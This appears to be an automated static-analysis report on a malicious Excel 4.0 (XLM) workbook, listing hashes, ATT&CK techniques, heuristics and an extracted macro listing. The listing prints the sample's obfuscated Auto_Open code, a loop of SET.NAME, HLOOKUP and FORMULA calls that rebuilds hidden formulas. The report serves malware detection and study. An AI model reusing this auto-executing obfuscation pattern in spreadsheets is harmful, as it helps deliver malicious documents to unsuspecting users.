Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 db96019236c82ba6…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-25 10:41:04 Authoring application: Microsoft Excel First seen: 2021-08-25
MD5: 91addeb55fcacfda7d58b113e459728a SHA-1: 5f02eba36e208c7116b845f75e60ce0b7efa71cf SHA-256: db96019236c82ba6aed19eb3acb9edd3cbd03eabdd80a47c46bc4b88b8a287de
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 macros, specifically an Auto_Open defined name, which is a critical indicator of malicious intent. The presence of dangerous formula APIs like RUN suggests the macro is designed to execute arbitrary code. Without further script content, the exact payload and execution method remain unclear, but the Auto_Open macro is the primary attack vector.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6567 bytes
SHA-256: 76c517fa878d169c539c6e4b195c1ddbbac560b3d83e2b45852e80831057fe08
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  ftjBbUjl
' 0018     22 LABEL : Cell Value, String Constant - ACuQOnd len=0 
' 0018     20 LABEL : Cell Value, String Constant - ajXfG len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!C144 
' 0018     23 LABEL : Cell Value, String Constant - aWbmGKlq len=0 
' 0018     22 LABEL : Cell Value, String Constant - bgVUxEF len=0 
' 0018     20 LABEL : Cell Value, String Constant - Cynuc len=0 
' 0018     22 LABEL : Cell Value, String Constant - FiKxJqG len=0 
' 0018     22 LABEL : Cell Value, String Constant - Gpvpjfe len=0 
' 0018     21 LABEL : Cell Value, String Constant - LiByAh len=0 
' 0018     21 LABEL : Cell Value, String Constant - LiuitP len=0 
' 0018     25 LABEL : Cell Value, String Constant - MePIJGBpiB len=0 
' 0018     23 LABEL : Cell Value, String Constant - mFzOkpkM len=0 
' 0018     24 LABEL : Cell Value, String Constant - MtWckxIqi len=0 
' 0018     24 LABEL : Cell Value, String Constant - NtMhSzGTZ len=0 
' 0018     25 LABEL : Cell Value, String Constant - ORuuOStAgW len=0 
' 0018     26 LABEL : Cell Value, String Constant - PioTsrkxIHx len=0 
' 0018     24 LABEL : Cell Value, String Constant - QnoHZKDaU len=0 
' 0018     26 LABEL : Cell Value, String Constant - QPCuYNEuNMT len=0 
' 0018     21 LABEL : Cell Value, String Constant - smrYVl len=0 
' 0018     23 LABEL : Cell Value, String Constant - TRIfECFb len=0 
' 0018     27 LABEL : Cell Value, String Constant - vPkPRNgnlYgj len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  ftjBbUjl,C58,"SET.NAME("QnoHZKDaU",VALUE("0"))",""
'  ftjBbUjl,C61,"SET.NAME("NtMhSzGTZ",QnoHZKDaU)",""
'  ftjBbUjl,C65,"SET.NAME("smrYVl",QnoHZKDaU)",""
'  ftjBbUjl,C69,"SET.NAME("bgVUxEF",COUNTA(FiKxJqG))",""
'  ftjBbUjl,C71,"SET.NAME("mFzOkpkM",COUNTA(PioTsrkxIHx))",""
'  ftjBbUjl,C73,[],""
'  ftjBbUjl,C76,"SET.NAME("ajXfG","")",""
'  ftjBbUjl,C80,"NtMhSzGTZ",""
'  ftjBbUjl,C85,"SET.NAME("QPCuYNEuNMT",HLOOKUP("*",FiKxJqG,NtMhSzGTZ,FALSE))",""
'  ftjBbUjl,C88,"ACuQOnd",""
'  ftjBbUjl,C90,"SET.NAME("TRIfECFb",QnoHZKDaU)",""
'  ftjBbUjl,C94,[],""
'  ftjBbUjl,C98,"TRIfECFb",""
'  ftjBbUjl,C101,"MtWckxIqi",""
'  ftjBbUjl,C104,"vPkPRNgnlYgj",""
'  ftjBbUjl,C109,"Gpvpjfe",""
'  ftjBbUjl,C112,"SET.NAME("aWbmGKlq",VALUE(HLOOKUP("*",PioTsrkxIHx,Gpvpjfe,FALSE)))",""
'  ftjBbUjl,C117,"MePIJGBpiB",""
'  ftjBbUjl,C119,"ajXfG",""
'  ftjBbUjl,C122,"smrYVl",""
'  ftjBbUjl,C125,NEXT(),""
'  ftjBbUjl,C127,"Cynuc",""
'  ftjBbUjl,C130,"SET.NAME("f",INT(T(FORMULA(T(ajXfG)&"",""&T(Cynuc)))))",""
'  ftjBbUjl,C135,"LiuitP",""
'  ftjBbUjl,C137,NEXT(),""
'  ftjBbUjl,C139,RETURN(),""
'  ftjBbUjl,C172,"SET.NAME("ORuuOStAgW",C58)",""
'  ftjBbUjl,C177,"FiKxJqG",""
'  ftjBbUjl,C182,"SET.NAME("PioTsrkxIHx",R43C12)",""
'  ftjBbUjl,C187,"SET.NAME("LiuitP",197)",""
'  ftjBbUjl,C191,"SET.NAME("LiByAh",3)",""
'  ftjBbUjl,C196,ORuuOStAgW(),""
'  ftjBbUjl,C197,HALT(),""